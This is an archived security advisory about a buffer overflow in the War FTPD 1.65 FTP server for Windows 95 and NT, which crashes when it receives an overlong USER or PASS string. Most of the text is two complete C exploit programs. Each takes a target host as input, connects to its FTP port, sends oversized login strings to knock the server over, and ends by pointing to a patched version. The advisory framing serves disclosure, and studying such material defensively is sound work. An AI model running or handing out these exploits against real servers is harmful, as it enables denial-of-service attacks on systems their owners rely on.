COMMAND

    War FTPD

SYSTEMS AFFECTED

    Win95, NT

PROBLEM

    According  to  rootshell  archieve,  the  popular  War FTPD daemon
    (1.65) for Windows 95 and  NT contains a very bad  buffer overflow
    allows for remote  users to execute  code on your  stack or simply
    crash  the  ftp  server.   The  overflow  exists  in  many  places
    including the USER and PASS phase.   To exploit War FTPD you  must
    connect  to  the  FTP  server  (port  21)  and issue the following
    command:

	USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string)

    or

	PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong)

    At this point the  FTP daemon will crash.   Two exploits based  on
    this follows.

    Exploit #1:
    ===========

    /*
     * WarFTP Killer by A|vin - 02/25/98
     * Contact : alvin@another-world.com
     *
     * Crashes WarFTP Win95/NT FTP daemon by sending a long
     * string in user authentification. Tested on WarFTP 1.65.
     *
     * Based on information from www.rootshell.com
     *
     * Greetz : ackb0o, amplex, AFauveau, ben`be,  kewl,
     * Owlie, Parker, Rapha, Richelieu, Sibere, Voks.
     *
     * .oO GeMiNi C0rP iZ EvErYwHeRe Oo.
     */

    #include <stdio.h>
    #include <strings.h>
    #include <errno.h>
    #include <signal.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>

    struct in_addr
    resolv (char *name)
    {
      static struct in_addr in;
      unsigned long l;
      struct hostent *ent;

      if ((l = inet_addr (name)) != INADDR_NONE)
	{
	  in.s_addr = l;
	  return in;
	}
      if (!(ent = gethostbyname (name)))
	{
	  in.s_addr = INADDR_NONE;
	  return in;
	}
      return *(struct in_addr *) ent->h_addr;
    }

    main (int argc, char *argv[])
    {
      struct sockaddr_in addr;
      int i, s;
      char c;
      int port = 21;

      printf ("WarFTP Killer by A|vin - .oO GeMiNi C0rP iZ EvErYwHeRe Oo.\n");
      if (argc < 2)
	{
	  printf ("Usage : %s <host> [port]\n", argv[0]);
	  exit (0);
	}
      if (argc == 3)
	port = atoi (argv[2]);
      s = socket (AF_INET, SOCK_STREAM, 0);
      addr.sin_family = AF_INET;
      addr.sin_addr = resolv (argv[1]);
      addr.sin_port = htons (port);
      connect (s, (struct sockaddr *) &addr, sizeof (addr));
      write (s, "USER ", 5);
      for (i = 1; i <= 500; i++)
	{
	  write (s, "GeMiNi", 6);
	}
      write (s, "\n", 1);
      write (s, "PASS ", 5);
      for (i = 1; i <= 500; i++)
	{
	  write (s, "C0rP", 4);
	}
      write (s, "\n", 1);
      read (s, &c, 1);
      printf("Done.\n");
    }

    Exploit #2:
    ===========

    /*
     * This file is for educational use only, I hold
     * NO RESPONSIBILITY FOR YOUR ACTIONS
     * Use wisely
     * This basically connects to the port of a warftp
     * server and sends buffer overflow.
     * usage: warkill server [port]
     * port defaults to 21
     *
     * Written by: Master
     */

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <unistd.h>

    int s;
    char *user = "USER anonymous\n";
    char *pass = "PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\
    n";

    struct sockaddr_in addr, spoofedaddr;
    struct hostent *host;

    void main(int argc,char *argv[])
    {
	    char in_addr[100];
	    if(argc < 2)
	    {
		    printf("Usage: %s <hostname> [port]\n",argv[0]);
		    exit(0);
	    }
	    if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
	    {
		    perror("socket()");
		    exit(-1);
	    }
	    if(argc > 2 && argc < 4)
	    {
		    const int port = atoi(argv[2]);
		    strcpy(in_addr,argv[1]);
		    open_socket(s,in_addr,port);
	    }
	    else
	    {
		    const int port = 21;
		    strcpy(in_addr,argv[1]);
		    open_socket(s,in_addr,port);
	    }

	    usleep(10000);
	    send(s,user,strlen(user),0);
	    usleep(10000);
	    send(s,pass,strlen(pass),0);
	    usleep(1000000);
	    close(s);
    }

    int open_socket(int sock, char *server,int ports)
    {
	    struct sockaddr_in addy;
	    struct hostent *he;
	    bzero((char *)&addy,sizeof(addy));
	    addy.sin_family=AF_INET;
	    addy.sin_addr.s_addr=inet_addr(server);
	    addy.sin_port=htons(ports);

	    if ((he = gethostbyname(server)) != NULL)
	    {
		    bcopy(he->h_addr, (char *)&addy.sin_addr, he->h_length);
	    }
	    else
	    {
		    if ((addy.sin_addr.s_addr = inet_addr(server)) < 0)
		    {
			    perror("gethostbyname()");
		    return(-3);
	    }
	    }

	    if (connect(sock,(struct sockaddr *)&addy,sizeof(addy))==-1)
	    {
		    perror("connect()");
		    close(sock);
		    return(-4);
	    }
	    printf("Sent Overflow [%s:%d].\n",server,ports);
    }

SOLUTION

    Home page for wftpd is now:

        http://home.sol.no/~jarlaase/tftpd.htm

    The latest  version is  1.66x4; it  resists the  500'x' login  and
    password attacks, and notices them for its log.